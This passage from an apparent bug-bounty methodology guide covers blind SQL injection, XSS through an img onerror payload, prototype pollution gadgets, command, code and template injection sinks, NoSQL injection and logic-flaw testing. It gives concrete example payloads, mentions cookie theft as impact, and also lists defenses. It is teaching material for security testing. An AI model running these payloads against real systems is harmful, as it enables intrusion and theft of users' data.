&lt;li&gt;
&lt;strong&gt;Goal:&lt;/strong&gt; Exfiltrate data or bypass authentication (here, exfiltration as it's a search).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Payload Refinement:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;Known break: &lt;code&gt;/search?q=rs0n"&lt;/code&gt; (500 error).&lt;/li&gt;
&lt;li&gt;Attempt to complete the query and comment out the rest: &lt;code&gt;/search?q=rs0n";--+&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;If this returns a 200 response (like the baseline), it suggests MySQL (&lt;code&gt;;&lt;/code&gt; as statement terminator, &lt;code&gt;--+&lt;/code&gt; as comment). The query becomes &lt;code&gt;SELECT * FROM main_table WHERE data CONTAINS "rs0n";--+";&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Establishing True/False States (for Blind SQLi):&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;Find a query that returns results (True condition): &lt;code&gt;/search?q=a";--+&lt;/code&gt; (returns results).&lt;/li&gt;
&lt;li&gt;The 500 error with &lt;code&gt;/search?q=rs0n"&lt;/code&gt; can be a False condition.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Exploitation:&lt;/strong&gt; Use boolean-based or time-based blind SQL injection techniques with nested queries to exfiltrate data byte-by-byte. Example: &lt;code&gt;/search?q=a" AND (SELECT SUBSTRING(version(),1,1))='5';--+&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Client-Side Injection Weaponization (&lt;code&gt;/welcome?user=&amp;lt;b&amp;gt;rs0n&amp;lt;/b&amp;gt;&lt;/code&gt; -&amp;gt; XSS):&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Context:&lt;/strong&gt; Inline JavaScript using &lt;code&gt;document.body.innerHTML = \&lt;/code&gt;&lt;h1&gt;Welcome ${userName}&lt;/h1&gt;
&lt;code&gt;;&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Goal:&lt;/strong&gt; Execute arbitrary JavaScript in the victim's browser (XSS).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Initial Attempt (Script Tags):&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;Payload: &lt;code&gt;/welcome?user=rs0n&amp;lt;/h1&amp;gt;&amp;lt;script&amp;gt;alert(document.domain)&amp;lt;/script&amp;gt;&amp;lt;h1&amp;gt;&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Result (as per your note): Elements render, but no alert.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Research &lt;code&gt;innerHTML&lt;/code&gt; and Script Tags:&lt;/strong&gt; The &lt;code&gt;innerHTML&lt;/code&gt; property has &lt;a href="https://samy.blog/element.innerhtml-and-xss-payloads/" rel="noopener noreferrer"&gt;specific behaviors with &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tags&lt;/a&gt;; they typically don't execute when inserted this way. However, event handlers in other tags (like &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;svg&amp;gt;&lt;/code&gt;) often do.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Successful Payload (img onerror):&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;Payload: &lt;code&gt;/welcome?user=&amp;lt;h1&amp;gt;harrison&amp;lt;/h1&amp;gt;&amp;lt;img src='X' onerror=alert(document.domain) /&amp;gt;&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;URL Encoded: &lt;code&gt;/welcome?user=%3Ch1%3Eharrison%3C%2Fh1%3E%3Cimg%20src%3D%27X%27%20onerror%3Dalert(document.domain)%20%2F%3E&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Result: JavaScript execution achieved.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Impact &amp;amp; Delivery:&lt;/strong&gt; Craft a payload to steal cookies, perform actions on behalf of the user, or redirect to a malicious site. Deliver via a crafted link.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;
  
  
  Section 2.5: Detailed Client-Side Injections
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Goal:&lt;/strong&gt; Attacker's user-controlled input forces the Document Object Model (DOM) to load or behave in a way that the developers did not intend, often leading to JavaScript execution in the victim's browser.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Reference: &lt;a href="https://youtu.be/cnL7CB-Gak0" rel="noopener noreferrer"&gt;YouTube Video - Bug Bounty Hunting for Client-Side Injection Vulnerabilities | Part I&lt;/a&gt; (Note: This is a placeholder URL from your notes)&lt;/em&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt; &lt;strong&gt;Basic Hunting Methodology for HTML/JavaScript Injection:&lt;/strong&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;* **Injecting HTML Elements Directly (Reflected in Server Response):**
    1.  **Find Reflected Input:** Identify where user input (e.g., GET parameter `rs0n`) is reflected in the server's HTML response (e.g., `&amp;lt;h1&amp;gt;Welcome rs0n!&amp;lt;/h1&amp;gt;`).
    2.  **Escalate to HTML Injection:** Test if HTML tags are rendered (e.g., `&amp;lt;b&amp;gt;rs0n&amp;lt;/b&amp;gt;` in GET parameter reflected as `&amp;lt;h1&amp;gt;Welcome &amp;lt;b&amp;gt;rs0n!&amp;lt;/b&amp;gt;&amp;lt;/h1&amp;gt;`, making "rs0n" bold).
    3.  **Escalate to JavaScript Execution:** Attempt to inject script tags or event handlers (e.g., `&amp;lt;/h1&amp;gt;&amp;lt;script&amp;gt;alert(document.domain)&amp;lt;/script&amp;gt;` or `&amp;lt;img src=x onerror=alert(document.domain)&amp;gt;`).

* **Injecting HTML Elements via Client-Side JavaScript:**
    1.  **Identify Unsanitized JS Processing:** Find instances where user-controlled input (e.g., `location.hash`, `location.search`, `postMessage` data) is taken from the DOM or URL and processed by client-side JavaScript without proper sanitization (e.g., `location.hash` passed to `document.write` or `element.innerHTML`).
    2.  **Escalate to HTML Injection:** Craft input that results in HTML rendering (e.g., `https://vulnerable.app#&amp;lt;h1&amp;gt;rs0nwuzhere&amp;lt;/h1&amp;gt;` leading to `&amp;lt;h1&amp;gt;rs0nwuzhere&amp;lt;/h1&amp;gt;` in the DOM).
    3.  **Escalate to JavaScript Execution:** Inject payloads that trigger JavaScript (e.g., `https://vulnerable.app#&amp;lt;img%20src=1%20onerror=alert(document.domain)&amp;gt;`).
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href="https://book.hacktricks.xyz/pentesting-web/xs-search/css-injection" rel="noopener noreferrer"&gt;CSS Injection&lt;/a&gt;:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Occurs when user input is reflected into a CSS context (e.g., &lt;code&gt;&amp;lt;style&amp;gt;&lt;/code&gt; tag, inline &lt;code&gt;style&lt;/code&gt; attribute).&lt;/li&gt;
&lt;li&gt;Can lead to data exfiltration (e.g., using attribute selectors and &lt;code&gt;background-image: url()&lt;/code&gt;), UI redressing, or sometimes trigger script execution in older browsers or specific contexts.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href="https://youtu.be/guPuPblLPI8" rel="noopener noreferrer"&gt;Client-Side Prototype Pollution (CSPP)&lt;/a&gt;:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;em&gt;Reference: Placeholder YouTube link from your notes.&lt;/em&gt;&lt;/li&gt;
&lt;li&gt; &lt;strong&gt;Find a Deep Merge:&lt;/strong&gt; Identify JavaScript code (custom or from an NPM package like &lt;code&gt;lodash&lt;/code&gt; before patched versions) that recursively merges objects.&lt;/li&gt;
&lt;li&gt; &lt;strong&gt;User-Controlled Input in Merge:&lt;/strong&gt; Ensure user input can control key/value pairs in one of the objects being merged (e.g., query parameters parsed into an object: &lt;code&gt;{"rs0n":"rs0n","key1":"value1"}&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt; &lt;strong&gt;Poison Prototype:&lt;/strong&gt; Craft input to modify &lt;code&gt;Object.prototype&lt;/code&gt; by injecting &lt;code&gt;__proto__&lt;/code&gt; as a key (e.g., &lt;code&gt;{"__proto__":{"rs0n":"rs0n"},"key1":"value1"}&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt; &lt;strong&gt;Identify a Gadget Chain:&lt;/strong&gt; Find client-side JavaScript code that uses an object property that isn't explicitly defined on the object itself, causing JavaScript to look up the property on the prototype chain (e.g., &lt;code&gt;config = {"url":"safe.com","default":true}; document.write("&amp;lt;a href=" + config.url + "&amp;gt;Click Here!&amp;lt;/a&amp;gt;")&lt;/code&gt;). If &lt;code&gt;config.url&lt;/code&gt; is not set, but &lt;code&gt;Object.prototype.url&lt;/code&gt; is, the latter will be used.&lt;/li&gt;
&lt;li&gt; &lt;strong&gt;Exploit Gadget Chain:&lt;/strong&gt; Poison the prototype with a property that the gadget chain uses, leading to XSS or other undesired behavior (e.g., &lt;code&gt;{"__proto__":{"url":"javascript:alert(document.domain)"},"key1":"value1"}&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Common Attack Techniques stemming from Client-Side Injections:&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;* **Content Injection:** Manipulating website content by injecting malicious data. Can be used for phishing or disseminating harmful links.
* **Reflected Cross-Site Scripting (XSS):** Malicious script injected via user input, reflected in the server's response, and executed in the victim's browser.
* **Stored Cross-Site Scripting (XSS):** Malicious script injected and stored permanently (e.g., in a database, comment section). Executed when any user views the infected page.
* **Blind Cross-Site Scripting (XSS):** Injected script whose execution is not immediately visible to the attacker. Often triggers in a different part of the application or for a privileged user (e.g., an admin panel viewing logs).
* **Dangling Markup Injection:** Injecting incomplete HTML tags. Attackers can use this to capture data submitted in forms that appear after the injected markup or to break page rendering. For example, an unclosed `&amp;lt;a&amp;gt;` tag with a malicious `href` could make a large portion of the page a clickable link to an attacker's site. It can also be used to exfiltrate anti-CSRF tokens or other sensitive data by making them part of a URL that gets sent to an external server.
* **Client-Side JavaScript Injection (Non-DOM XSS):** User input is passed to JavaScript "sinks" like `eval()`, `setTimeout()`, `new Function()` without writing directly to the DOM in a way that causes HTML parsing.
* **DOM-Based Cross-Site Scripting (XSS):** Vulnerability exists in the client-side code. User input influences how the DOM is modified, leading to script execution. The server is often unaware.
* **DOM-Based Open Redirect:** Client-side script modifies the DOM to redirect users to an external, attacker-controlled URL (e.g., by manipulating `window.location` with user input).
* **Client-Side Template Injection (CSTI):** User input is injected into client-side templates (e.g., AngularJS, Vue.js, React with `dangerouslySetInnerHTML` if not careful) leading to XSS or unintended template code execution.
* **postMessage Vulnerabilities:** Insecure handling of `window.postMessage()` calls. If the origin of the message isn't checked, or if data is handled unsafely, it can lead to XSS or data leakage between windows/frames.
* **Client-Side Denial of Service (DoS) / Breaking The DOM:** Injecting content or triggering JavaScript that causes the browser to hang, crash, or become unusable (e.g., regex DoS, infinite loops, memory exhaustion).
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;ol&gt;
&lt;li&gt; &lt;strong&gt;Weaponizing and Mitigating HTML-Based Client-Side Injections:&lt;/strong&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;* **Compensating Controls (Defenses):**
    * **Client-Side Validation (PREVENTS SOME ATTACKS/IMPROVES UX):** Can be bypassed, but useful for UX and guiding legitimate users. May reveal developer concerns.
    * **Server-Side Validation (PREVENTS ATTACK):** Crucial. Ensures input is of expected type and size; sanitizes or rejects malicious characters.
    * **Web Application Firewall (WAF) (CAN PREVENT ATTACK):** Blocks requests based on rulesets and malicious patterns. Can be bypassed.
    * **Output Encoding (PREVENTS ATTACK):** Contextually encodes user input before rendering it in the DOM (e.g., HTML entity encoding, JavaScript string escaping). This is a primary defense against XSS.
    * **Cookie Flags (MITIGATES IMPACT):**
        * `HttpOnly`: Prevents JavaScript access to cookies.
        * `Secure`: Ensures cookies are only sent over HTTPS.
        * `SameSite` (`Strict`, `Lax`, `None`): Controls when cookies are sent with cross-site requests, mitigating CSRF and some information leakage.
    * **Content Security Policy (CSP) (MITIGATES IMPACT/CAN PREVENT ATTACK):** Directives telling the browser where resources can be loaded from, what scripts can execute, etc. Can significantly reduce XSS impact or prevent it.

* **Demonstrating Impact:**
    * Steal victim's cookies (if not `HttpOnly`).
    * Force victim to make arbitrary HTTP requests (CSRF-like actions).
    * Steal sensitive information from the DOM of restricted pages the victim can access.
    * Perform UI redressing or phishing.
    * Keylogging.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;h3&gt;
  
  
  Section 2.6: Detailed Server-Side Injections
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Goal:&lt;/strong&gt; Attacker's user-controlled input forces a server-side method or process to execute in a way the developers did not intend, potentially leading to Remote Code Execution (RCE), SSRF, file manipulation, etc.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt; &lt;strong&gt;Basic Hunting Methodology for Server-Side Injections:&lt;/strong&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;* **Core Principle:** Break the Application -&amp;gt; Understand Why It Broke -&amp;gt; Weaponize the Break.
* **Identify Fuzzing Targets:**
    * URL Parameters (GET/POST)
    * HTTP Headers (custom headers, User-Agent, Referer, etc.)
    * Cookie values
    * JSON/XML/other body content
    * File uploads (filenames, metadata, content)
    * Any user-controlled input processed by the application. Prioritize inputs reflected in the DOM or those that seem to influence backend logic.
* **Fuzzing Techniques:**
    * **Unexpected Types:** If a string is expected, send `null`, an integer, an array, or a boolean.
    * **Large Payloads:** Send an excessive amount of data (e.g., 10,000 'A's) to test for buffer overflows or handling limits.
    * **Special Characters:** Inject various special characters (e.g., `', ", ;, |, &amp;amp;, $, &amp;lt;, &amp;gt;, \`, etc.) individually or in combinations. Test different encodings (URL, Hex, Double Hex).
    * **Burp Suite's "Backslash Powered Scanner":** Useful for finding subtle server-side injection points by observing how backslashes are processed.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;ol&gt;
&lt;li&gt; &lt;strong&gt;Vulnerability Examples by Language/Technology (and common sinks):&lt;/strong&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;* **[Command Injection](https://book.hacktricks.xyz/pentesting-web/command-injection):** Input is passed to a system shell.
    * **Node.js:** `child_process.exec()`, `child_process.execSync()`, `child_process.spawn()`
    * **PHP:** `exec()`, `system()`, `passthru()`, `shell_exec()`, backticks (`` ` ``)
    * **Python:** `os.system()`, `subprocess.run(..., shell=True)`, `subprocess.call(..., shell=True)`, `pty.spawn()`
    * **Java:** `Runtime.getRuntime().exec(String)` (especially if concatenating input into the command string)
    * **Payloads:** `victim_cmd ; malicious_cmd`, `victim_cmd &amp;amp;&amp;amp; malicious_cmd`, `victim_cmd | malicious_cmd`, `` `malicious_cmd` ``

* **[Code Injection](https://owasp.org/www-community/attacks/Code_Injection) (Eval Injection):** Input is parsed and executed as code by the programming language interpreter. *"Eval is Evil."*
    * **Node.js (JavaScript):** `eval()`, `new Function()`, `setTimeout(string, ...)` , `setInterval(string, ...)`
    * **PHP:** `eval()`, `assert()` (with string input), `preg_replace()` with `/e` modifier (deprecated but found in old code), `create_function()`
    * **Python:** `eval()`, `exec()`
    * **Java:** `javax.script.ScriptEngineManager().getEngineByName("js").eval()` (if evaluating user input)

* **[Server-Side Request Forgery (SSRF)](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery):** Application makes an HTTP request to a URL (or part of a URL) controlled by the attacker.
    * **Node.js:** `http.request()`, `https.request()`, `axios.get()`, `request.get()`, `fetch()` (via `node-fetch` or native)
    * **PHP:** `curl_exec()` (via `curl_init()`), `file_get_contents()`, `fsockopen()`
    * **Python:** `requests.get()`, `urllib.request.urlopen()`
    * **Java:** `java.net.URL.openConnection()`, `java.net.HttpURLConnection`, Apache HttpClient, OkHttp

* **[Server-Side Template Injection (SSTI)](https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection):** Input is embedded into a server-side template, allowing template syntax execution.
    * **Node.js (e.g., Jade/Pug, EJS, Handlebars):**
        * Jade/Pug: `var html = jade.render('USER_CONTROLLED_INPUT', options);` ([HackTricks Jade](https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#jade-nodejs))
    * **PHP (e.g., Twig, Smarty):**
        * Twig: `$output = $twig-&amp;gt;render('template_name', ['user_input' =&amp;gt; USER_CONTROLLED_INPUT]);` or `$output = $twig-&amp;gt;createTemplate(USER_CONTROLLED_INPUT)-&amp;gt;render();` ([HackTricks Twig](https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#twig-php))
    * **Python (e.g., Jinja2, Mako, Tornado):**
        * Jinja2: `template.render(user_input=USER_CONTROLLED_INPUT)` or `Template(USER_CONTROLLED_INPUT).render()` ([HackTricks Jinja2](https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#jinja2-python))
    * **Java (e.g., Velocity, Freemarker, Thymeleaf, Spring View Templates):**
        * [Spring Examples](https://www.baeldung.com/spring-template-engines), [HackTricks Java SSTI](https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#java)

* **[Server-Side Prototype Pollution (SSPP)](https://portswigger.net/web-security/prototype-pollution/server-side):** Similar to CSPP but affects server-side JavaScript (Node.js) objects. Can lead to RCE, ACL bypass, or other issues if polluted properties are used in security-sensitive operations.
    * **Node.js:** Vulnerable object merging functions, often custom-written or from older versions of libraries like `lodash` or `jquery.extend`. Example merge:
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;        ```javascript
        const merge = (target, source) =&amp;gt; {
            for (const key of Object.keys(source)) {
                if (source[key] instanceof Object &amp;amp;&amp;amp; target[key] instanceof Object) { // Added check for target[key]
                    Object.assign(source[key], merge(target[key], source[key]));
                }
            }
            Object.assign(target || {}, source);
            return target;
        }
        // If user controls 'source' and can set 'source.__proto__.isAdmin = true'
        ```
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;* **[Insecure Deserialization](https://book.hacktricks.xyz/pentesting-web/deserialization):** User-controlled data is deserialized without proper validation, leading to object injection and potential RCE.
    * **PHP:** `unserialize()` (look for magic methods like `__wakeup`, `__destruct`, `__toString`)
    * **Python:** `pickle.loads()`, `yaml.unsafe_load()`
    * **Node.js:** Libraries like `node-serialize`'s `unserialize()`, `js-yaml`'s `load()` without safe options.
    * **Java:** `java.io.ObjectInputStream.readObject()`, XML deserializers (XStream, Jackson with polymorphic typing enabled), JSON deserializers.

* **[File Inclusion (LFI/RFI)](https://book.hacktricks.xyz/pentesting-web/file-inclusion):** Application includes a file specified by user input.
    * **PHP:** `include()`, `require()`, `include_once()`, `require_once()`, `fopen($filename, 'r')`, `file_get_contents($filename)`
    * **Python:** `open("filename.txt", "r")` (if filename is user-controlled)
    * **Node.js:** `fs.readFileSync('filename.txt', 'utf8')` (if filename is user-controlled)
    * **Java:** `new File("filename.txt")` (if filename is user-controlled and then read/processed)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;h3&gt;
  
  
  Section 2.7: Detailed Database Injections
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Goal:&lt;/strong&gt; Attacker's user-controlled input forces the application to make a database query that the developers did not intend, leading to data exfiltration, modification, deletion, or authentication bypass.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href="https://portswigger.net/web-security/sql-injection" rel="noopener noreferrer"&gt;SQL Injection (SQLi)&lt;/a&gt;:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Targets relational databases (MySQL, PostgreSQL, MSSQL, Oracle, SQLite, etc.).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Detection:&lt;/strong&gt; Injecting SQL metacharacters (&lt;code&gt;'&lt;/code&gt;, &lt;code&gt;"&lt;/code&gt;, &lt;code&gt;)&lt;/code&gt;, &lt;code&gt;;&lt;/code&gt;, &lt;code&gt;--&lt;/code&gt;, &lt;code&gt;#&lt;/code&gt;) and observing errors or changes in behavior.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Techniques:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;In-band (Error-based, Union-based):&lt;/strong&gt; Results/errors are returned in the same channel.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Inferential (Blind - Boolean-based, Time-based):&lt;/strong&gt; Deduce information based on true/false responses or time delays.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Out-of-band:&lt;/strong&gt; Data exfiltrated via a different channel (e.g., DNS, HTTP requests triggered by database functions).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tools:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://github.com/sqlmapproject/sqlmap" rel="noopener noreferrer"&gt;SQLMap&lt;/a&gt;:&lt;/strong&gt; Automated SQLi detection and exploitation.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Resources:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://book.hacktricks.xyz/pentesting-web/sql-injection" rel="noopener noreferrer"&gt;HackTricks SQLi&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection" rel="noopener noreferrer"&gt;PayloadsAllTheThings - SQL Injection&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href="https://portswigger.net/web-security/nosql-injection" rel="noopener noreferrer"&gt;NoSQL Injection&lt;/a&gt;:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Targets NoSQL databases (MongoDB, CouchDB, Cassandra, etc.). Syntax and exploitation techniques vary greatly depending on the database type and context.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Detection:&lt;/strong&gt; Often involves injecting operators specific to the NoSQL database's query language (e.g., MongoDB: &lt;code&gt;$ne&lt;/code&gt;, &lt;code&gt;$gt&lt;/code&gt;, &lt;code&gt;$regex&lt;/code&gt;, &lt;code&gt;$where&lt;/code&gt; for JavaScript execution).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Techniques:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;Bypassing authentication.&lt;/li&gt;
&lt;li&gt;Extracting all records.&lt;/li&gt;
&lt;li&gt;Injecting JavaScript for server-side execution (e.g., MongoDB's &lt;code&gt;$where&lt;/code&gt;, &lt;code&gt;mapReduce&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tools:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://github.com/codingo/NoSQLMap" rel="noopener noreferrer"&gt;NoSQLMap&lt;/a&gt;:&lt;/strong&gt; Automated NoSQL injection detection and exploitation (primarily for MongoDB).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Resources:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://book.hacktricks.xyz/pentesting-web/nosql-injection" rel="noopener noreferrer"&gt;HackTricks NoSQL Injection&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection" rel="noopener noreferrer"&gt;PayloadsAllTheThings - NoSQL Injection&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;


&lt;h2&gt;
  
  
  Part 3: Application Logic Vulnerabilities Methodology
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Goal:&lt;/strong&gt; Send unexpected HTTP requests, or a sequence of requests, to cause the application to act in an unintended way, often bypassing security controls or exploiting flawed business logic.&lt;/p&gt;

&lt;p&gt;Logic vulnerabilities arise when an attacker can manipulate an application's intended workflow by submitting HTTP requests (or a series of requests) that developers did not anticipate. This could involve missed access control checks, failure to validate data integrity across steps, or race conditions. A deep understanding of the application's functionality is paramount.&lt;/p&gt;
&lt;h3&gt;
  
  
  Section 3.1: Core Steps for Logic Testing
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt; &lt;strong&gt;Understand the Application Deeply:&lt;/strong&gt; Spend significant time (days, if necessary) using the application as intended. Map out features, user roles, and data flows.&lt;/li&gt;
&lt;li&gt; &lt;strong&gt;Identify Complex &amp;amp; Critical Mechanisms:&lt;/strong&gt; Focus on multi-step processes, features involving financial transactions, access control boundaries, and user management functions.&lt;/li&gt;
&lt;li&gt; &lt;strong&gt;Send Unexpected Sequences or Manipulated Requests:&lt;/strong&gt; Deviate from normal usage patterns. Reorder steps, drop requests, modify parameters between steps, or replay requests out of context.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;
  
  
  Section 3.2: Learn The Application (In-Depth Reconnaissance)
&lt;/h3&gt;

&lt;p&gt;Effective logic testing hinges on a thorough understanding of the target. SaaS applications with authentication, complex access controls, varied functionality, and multi-user designs are prime candidates.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt; &lt;strong&gt;Architecture Analysis:&lt;/strong&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;* **Backend Language (PHP, Node.js, Java, Python, Ruby, etc.):**
    * Language-specific quirks can influence logic.
    * **PHP `$_SESSION` vs. `$_COOKIE`:** As you noted, if a developer mistakenly uses `$_COOKIE['user_id']` instead of `$_SESSION['user_id']` for sensitive identifiers, an attacker can manipulate their `user_id` cookie.
    * **PHP/Node.js Loose Comparison (`==` vs. `===`):** In PHP and JavaScript, `==` performs type juggling. If `if ($userInput == true)` is used, inputs like `"1"`, `1`, or even some non-empty strings might evaluate to true. `===` checks both type and value. Look for this in authentication, authorization, or critical conditional checks. Java has a similar but distinct consideration with `==` (reference equality for objects) vs. `.equals()` (value equality).

* **Frontend Framework (React, Angular, Vue, Next.js, Svelte, etc.):**
    * **Client-Side vs. Server-Side Routing/Rendering:**
        * **React/Angular/Vue (Client-Side Routing):** Access controls might be partially implemented client-side (e.g., React Router hiding links). Always verify these controls server-side. If Webpack isn't obfuscated, source code might be easily reviewable.
        * **Next.js/Nuxt.js (SSR/SSG):** Routing and data fetching logic can be server-side, client-side, or a hybrid. Understand where access decisions are made.

* **Client-Side NPM Packages:**
    * Identify used packages (e.g., via `package.json` if exposed, or browser dev tools).
    * Check for known vulnerabilities in specific versions (e.g., using Snyk Advisor, npm audit).
    * Understand the package's purpose. E.g., `lodash` (older versions vulnerable to Prototype Pollution) is often used for object merging. Can you inject unexpected values into a critical JSON object via a vulnerable merge?

* **Custom Client-Side JavaScript Files:**
    * These have not undergone public scrutiny like NPM packages, potentially harboring unique flaws.
    * Analyze logic: conditionals, loops, event handlers, especially those dealing with user identity, roles, or permissions.
    * Use tools like **JSNice** or browser built-in "pretty print" to de-minify code.

* **Authentication Mechanisms:**
    * **Username/Password:**
        * Test for username enumeration.
        * Can you register with a username that collides or nearly collides with an existing one due to sanitization or comparison flaws (e.g., `user` vs. `user\0` or `user%00`)?
    * **Email/Password:**
        * **Plus Addressing (e.g., `user+alias@example.com`):** Can you create multiple accounts tied to the same inbox? How does this affect password resets, account linking, or uniqueness constraints?
        * Email syntax complexity ([RFC 2822](https://datatracker.ietf.org/doc/html/rfc2822#section-3)) can lead to regex validation bypasses.
    * **Single Sign-On (SSO) via SAML:**
        * Understand the SAML flow (SP-initiated, IdP-initiated).
        * **If you can configure SSO for the target:** Test for SAML Signature Wrapping, XXE in SAML assertions (if parsed by a vulnerable XML parser), Certificate Faking, Token Recipient Confusion. Resources: [epi's SAML blog series](https://epi052.gitlab.io/notes-to-self/tags/saml/), [OWASP SAML Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/SAML_Security_Cheat_Sheet.html). Local test IdP: [docker-test-saml-idp](https://github.com/kristophjunge/docker-test-saml-idp).
